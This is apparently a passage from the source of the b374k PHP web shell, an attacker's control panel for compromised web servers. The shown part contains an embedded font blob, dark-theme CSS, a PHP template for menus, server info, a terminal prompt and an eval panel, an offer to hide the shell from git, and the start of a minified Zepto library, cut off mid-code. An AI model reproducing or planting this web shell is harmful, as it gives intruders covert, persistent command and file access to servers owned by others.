hnz3Nyzzy+8ZSvDfKhWtRg7DwPkU/UCdbJ9KX/fo0+7LQfvuxqoTmtiLo7D0729wdyEEwt1BEYiRR5qJiI7IuOALBQMiehgEj2hxYAhZj8SORLYjHiE4wRDgiIjru5KfmQMEC3EgLsSGnkjwivf6bsyCF+SKV9M1Cx0dnXHMl68yxN7ksT0c5OhTTkPnRzlZcCKnodM0a5AlBS1ivcrr+5JskZec7JvuVA6uxcb5XJ0zcOs/58TiNxSR/AiPwlLjMvqyNyubfsFb3XbGUDsELRyemNcuclOVNy3zkJO07unfPm9ffl/qLvSw3e1bmLr5YWdNTxR2fjwloJCaI99nGBGrOmFEnkgx1c5P8oKMj7+c0X1bn8LqV/uiUjQOs2nRIFZ80MmXz1nyx+YigF9V0qqB4AzPiHcL0n60nOTsfRQO/H9/D2Nc8IyGca3hEFYq003DoUNm1XDI7PLcNNfr1YUqOFHPdXlqfl7wx+98M/sH4qgLH3gBXMFDYgMBAADA2a2trW3btt3G/kw+mc8k98wIgWpZhEC9CgKhBo2aNGvRqk27Dp26dOvRq0+/AZFBQ4aNGDVm3IRJU6bNmDVn3oJFS5atWLVm3YZNW7bt2LVn34FDR46dOHXm3IVLV67duHXn3oNHT569ePXm3YdPX779+PXnX0xcQlJKWkZWTl5BUalGEFz0AgAGAAB9n/ydurubacaYjRNTFzadM3HAdE3bOOvps/fEhQgjGjRa0+tRk07t+o0ZDZHa3KnX48u3Dn1abHrwacC4Xz/+DJuwZ8ekeAm6JDqQZNe+E4eOHHuS7NypM1NSfOh25cKlVC/etEqXJkOWTNkG5ciTK1+BIoWKlXhWqlyZClUqLRtSo1qtOq/erbg2bcaNe7dmzVm0ZMu8BduarduwGqJCdIgJseF/HIyc7KV5mQYGjgZQ2oUnLb+0qLi0ILUoM7+IxbW0KB8kY2RkaAqiXQ3c3MC0m5sLiHYzMDAAAFHEcrt4ATWMz0rzQBTFZ77wFRdFRaGIEIKKm2bTR4gdDLFBaJtebRpjO2rUfYoYEKqWSv3TNooiKKLQB+gUN8GNvoGv4M7H0FtqL5d7zpzfYbTx526v+097mp3TH4OkEv18aPGH+JR+HxjKnT8MCrcY3PjTyrVvKB1stRFeIbzE9wnqRT2pnJ8ZShNZA1kdu6eY15Afoh5h3gveg89A0gJlQT/A7I1SwijR5mGf7cEu82CHcdhmFdhiZdhkLmwwB0rMBhFhLUMnPNya1/GkFKeTPMUrPOSCf/FYr0yJS1NuxQ1dqcjWYJ0BWOEq5EMTcmEGsuEK6E4alp0lKFj43WuC/qcRDc1I+s6bYizrCNoUi9bgarmSiDUFgZJT7FPathutFknLppCtoniRbVMYaLSBOUZD5H6CpG1VJerf+FUft+qro6HI/IGMSujQ4EUd8urMLzJZe0cA) format(\'woff\');\nfont-weight: normal;\nfont-style: normal;}*{\nfont-family:ubuntumono;\nmargin:0;\npadding:0;\nborder:0;\n-webkit-box-sizing:border-box;\n-moz-box-sizing:border-box;\nbox-sizing:border-box;\nfont-size:12px;\nfont-weight:normal;}input:focus, select:focus, textarea:focus, button:focus{\noutline:none;}html, body{\nwidth:100%;\nheight:100%;\ncolor:#999999;}body{\nbackground:#111111;}a{\ntext-decoration:none;\ncolor:#999999;}a:hover{\ncursor:pointer;}p{\npadding:8px 0;}img{\nvertical-align:middle;}table{\nwidth:100%;}table td, table th{\nvertical-align:middle;\npadding:8px;}textarea, input, select{\nbackground:#222222;\npadding:8px;\nborder-radius:8px;\ncolor:#999999;}textarea{\nresize:vertical;\nwidth:100%;\nheight:300px;\nmin-height:300px;\nmax-width:100%;\nmin-width:100%;}hr{\nmargin:8px 0;\nborder-bottom:1px dashed #222222;}video{\nwidth:50%;\nbackground:#222222;\nborder-radius:8px;}h1, h2{\nbackground:#222222;\nborder-radius:8px;\ntext-align:center;\npadding:8px;\nmargin-bottom:8px;}pre, #viewFilecontent{\nword-break:break-all;\nword-wrap:break-word;}pre{\nwhite-space:pre-wrap;}#b374k{\ncursor:pointer;}#header{\nwidth:100%;\nposition:fixed;}#headerNav{\npadding:10px 8px 6px 8px;\nbackground:#111111;}#headerNav img{\nmargin:0 4px;}#menu{\nbackground:#4C6B72;\nheight:26px;}#menu .menuitem{\npadding:7px 12px 6px 12px;\nfloat:left;\nheight:26px;\nbackground:#4C6B72;\ncolor:#B1ADAB;\ntext-shadow:1px 1px 1px #333333;\ncursor:pointer;}#menu .menuitem:hover, #menu .menuitemSelected{\nbackground:#111111;\ncolor:#999999;\nborder-radius:8px 8px 0 0;}#menu .menuitemSelected{\nbackground:#111111;}#basicInfo{\nwidth:100%;\npadding:8px;\nborder-bottom:1px solid #222222;}#content{\nwidth:100%;\nheight:100%;\npadding:62px 4px 10px 4px;}#content .menucontent{\nclear:both;\ndisplay:none;\npadding:8px;}#overlay{\nposition:fixed;\ntop:0px;\nleft:0px;\nwidth:100%;\nheight:100%;\ndisplay:none;}#loading{\nwidth:64px;\nheight:64px;\nbackground:#000000;\nborder-radius:32px 0 32px 0;\nmargin:auto;\nvertical-align:middle;\nbox-shadow:0 0 16px #000;}#ulDragNDrop{\npadding:32px 0;\ntext-align:center;\nbackground:#222222;\nborder-radius:8px;}#form{\ndisplay:none;}.box{\nmin-width:50%;\nborder:1px solid #222222;\npadding:8px 8px 0 8px;\nborder-radius:8px;\nposition:fixed;\nbackground:#111111;\nopacity:1;\nbox-shadow:1px 1px 25px #150f0f;\nopacity:0.98;}.boxtitle{\nbackground:#4C6B72;\ncolor:#B1ADAB;\nborder-radius:8px;\ntext-align:center;\ncursor:pointer;\ntext-shadow:1px 1px 1px #333333;}.boxtitle a, .boxtitle a:hover{\ncolor:#B1ADAB;\ntext-shadow:1px 1px 1px #333333;}.boxcontent{\npadding:2px 0 2px 0;}.boxresult{\npadding:4px 10px 6px 10px;\nborder-top:1px solid #222222;\nmargin-top:4px;\ntext-align:center;}.boxtbl{\nborder:1px solid #222222;\nborder-radius:8px;\npadding-bottom:8px;}.boxtbl td{\nvertical-align:middle;\npadding:8px 15px;\nborder-bottom:1px dashed #222222;}.boxtbl input, .boxtbl select, .boxtbl .button{\nwidth:100%;}.boxlabel{\ntext-align: center;\nborder-bottom:1px solid #222222;\npadding-bottom:8px;}.boxclose{\nbackground:#222222;\nborder-radius:3px;\nmargin-right:8px;\nmargin-top:-2px;\npadding:2px 8px;\ncursor:pointer;}.strong{\ncolor:#4C6B72;}.weak{\ncolor:#666666;}.button{\nmin-width:120px;\nwidth:120px;\nmargin:2px 0;\nbackground:#222222;\ncolor:#999999;\npadding:8px;\nborder-radius:8px;\ndisplay:block;\ntext-align:center;\nfloat:left;\ncursor:pointer;}.button:hover, #ulDragNDrop:hover{\nbox-shadow:1px 1px 5px #150f0f;\nbackground:#333333;}.floatLeft{\nfloat:left;}.floatRight{\nfloat:right;}.colFit{\nwidth:1px;\nwhite-space:nowrap;}.colSpan{\nwidth:100%;}.border{\nborder:1px solid #222222;\nborder-radius:8px;\npadding:8px;}.borderbottom{\nborder-bottom:1px dashed #222222;}.borderright{\nborder-right:1px dashed #222222;}.borderleft{\nborder-left:1px dashed #222222;}.hr td{\nborder-bottom:1px dashed #222222;}.cBox, .cBoxAll{\nwidth:10px;\nheight:10px;\nborder:1px solid #4C6B72;\nborder-radius:5px;\nmargin:auto;\nfloat:left;\nmargin:2px 6px;\ncursor:pointer;}.cBoxSelected{\nbackground:#4C6B72;}.action, .actionfolder, .actiondot{\ncursor:pointer;}.phpError{\npadding:8px;\nmargin:8px 0;\ntext-align:center;}.dataView td, .dataView th, #viewFile td{\nvertical-align:top;\ntext-align:center;\nborder-bottom:1px dashed #222222;}.dataView th{\nborder-bottom:none;}.dataView tbody tr:hover{\nbackground:#222222;}.dataView th{\nbackground:#222222;\nvertical-align:middle;}.dataView tfoot td{\nvertical-align:middle;}.dataView .col-cbox{\nwidth:20px;}.dataView .col-name, .dataView tr>td:nth-child(2){\ntext-align:left;}.dataView .col-size, .dataView tr>td:nth-child(3){\nwidth:70px;\ntext-align:left;}.dataView .col-owner{\nwidth:140px;\nmin-width:140px;}.dataView .col-perms{\nwidth:80px;}.dataView .col-modified{\nwidth:150px;}.sortable th{\ncursor:pointer;}#viewFile td{\ntext-align:left;}#viewFilecontent{\npadding:8px;\nborder:1px solid #222222;\nborder-radius:8px;}#terminalPrompt td{\npadding:0;}#terminalInput{\nbackground:none;\npadding:0;\nwidth:100%;}#evalAdditional{\ndisplay:none;}.hl_default{\ncolor:#408494;}.hl_keyword{\ncolor:#cccccc;}.hl_string{\ncolor:#8EB9D1;}.hl_html{\ncolor:#aaaaaa;}.hl_comment{\ncolor:#FF7000;}#navigation{position:fixed;left:-16px;top:46%;}#totop,#tobottom,#toggleBasicInfo{background:url(\'<?php echo get_resource(\'arrow\');?>\');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}#totop:hover,#tobottom:hover{opacity:0.80;}#toggleBasicInfo{display:none;float:right;margin:0;}#basicInfoSplitter{display:none;}#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}#showinfo{float:right;display:none;}#logout{float:right;}.git_alert{font-weight: bold; color:#ef793e; font-size: 16px;}</style>\n</head>\n<body>\n<!--wrapper start-->\n<div id=\'wrapper\'>\n<!--header start-->\n<div id=\'header\'>\n<!--header info start-->\n<div id=\'headerNav\'>\n<span><a onclick="set_cookie(\'cwd\', \'\');" href=\'<?php echo get_self(); ?>\'><?php echo $GLOBALS[\'title\']." ".$GLOBALS[\'ver\']?></a></span>\n<img onclick=\'viewfileorfolder();\' id=\'b374k\' src=\'<?php echo get_resource(\'b374k\');?>\' />&nbsp;<span id=\'nav\'><?php echo $nav; ?></span><a class=\'boxclose\' id=\'logout\' title=\'log out\'>x</a>\n<a class=\'boxclose\' id=\'showinfo\' title=\'show info\'>v</a>\n</div>\n<!--header info end--><!--menu start-->\n<div id=\'menu\'>\n<?php\nforeach($GLOBALS[\'module_to_load\'] as $k){\necho "<a class=\'menuitem\' id=\'menu".$GLOBALS[\'module\'][$k][\'id\']."\' href=\'#!".$GLOBALS[\'module\'][$k][\'id\']."\'>".$GLOBALS[\'module\'][$k][\'title\']."</a>";}?>\n</div>\n<!--menu end--></div>\n<!--header end--><!--content start-->\n<div id=\'content\'>\n<!--server info start-->\n<div id=\'basicInfo\'>\n<div id=\'toggleBasicInfo\'></div>\n<?php\necho $error_html;\nforeach(get_server_info() as $k=>$v){\necho "<div>".$v."</div>";}if(is_git_repo(getcwd())){\necho "<p class=\\"git_alert\\">Warning: b374k is running under a git repository!</p>\n<a href=\\"#\\"> Click here to hide b374k from git </a>";}?>\n</div>\n<!--server info end--><?php\nforeach($GLOBALS[\'module_to_load\'] as $k){\n$content = $GLOBALS[\'module\'][$k][\'content\'];\necho "<div class=\'menucontent\' id=\'".$GLOBALS[\'module\'][$k][\'id\']."\'>".$content."</div>";}?>\n</div>\n<!--content end--></div>\n<!--wrapper end-->\n<div id=\'navigation\'>\n<div id=\'totop\'></div>\n<div id=\'tobottom\'></div>\n</div>\n<table id="overlay"><tr><td><div id="loading" ondblclick=\'loading_stop();\'></div></td></tr></table>\n<form action=\'<?php echo get_self(); ?>\' method=\'post\' id=\'form\' target=\'_blank\'></form>\n<!--script start-->\n<script type=\'text/javascript\'>\nvar targeturl = \'<?php echo get_self(); ?>\';\nvar module_to_load = \'<?php echo implode(",", $GLOBALS[\'module_to_load\']);?>\';\nvar win = <?php echo (is_win())?\'true\':\'false\';?>;\nvar init_shell = true;\n/* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */\nvar Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){return a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){return K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanceof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,function(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\\\\s)"+a+"(\\\\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\\[\\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\\s*<(\\w+|!)[^>]*>/,m=/^<(\\w+)\\s*\\/?>(?:<\\/\\1>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\\.([\\w-]+)$/,x=/^#([\\w-]*)$/,y=/^[\\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1></$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e<a.length;e++)c=b(a[e],e),c!=null&&d.push(c);else for(f in a)c=b(a[f],f),c!=null&&d.push(c);return P(d)},c.each=function(a,b){var c,d;if(N(a)){for(c=0;c<a.length;c++)if(b.call(a[c],c,a[c])===!1)return a}else for(d in a)if(b.call(a[d],d,a[d])===!1)return a;return a},c.grep=function(a,b){return g.call(a,b)},window.JSON&&(c.parseJSON=JSON.parse),c.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){z["[object "+b+"]"]=b.toLowerCase()}),c.fn={forEach:e.forEach,reduce:e.reduce,push:e.push,sort:e.sort,indexOf:e.indexOf,concat:e.concat,map:function(a){return c(c.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return c(f.apply(this,arguments))},ready:function(a){return v.test(h.readyState)&&h.body?a(c):h.addEventListener("DOMContentLoaded",function(){a(c)},!1),this},get:function(b){return b===a?f.call(this):this[b>=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return 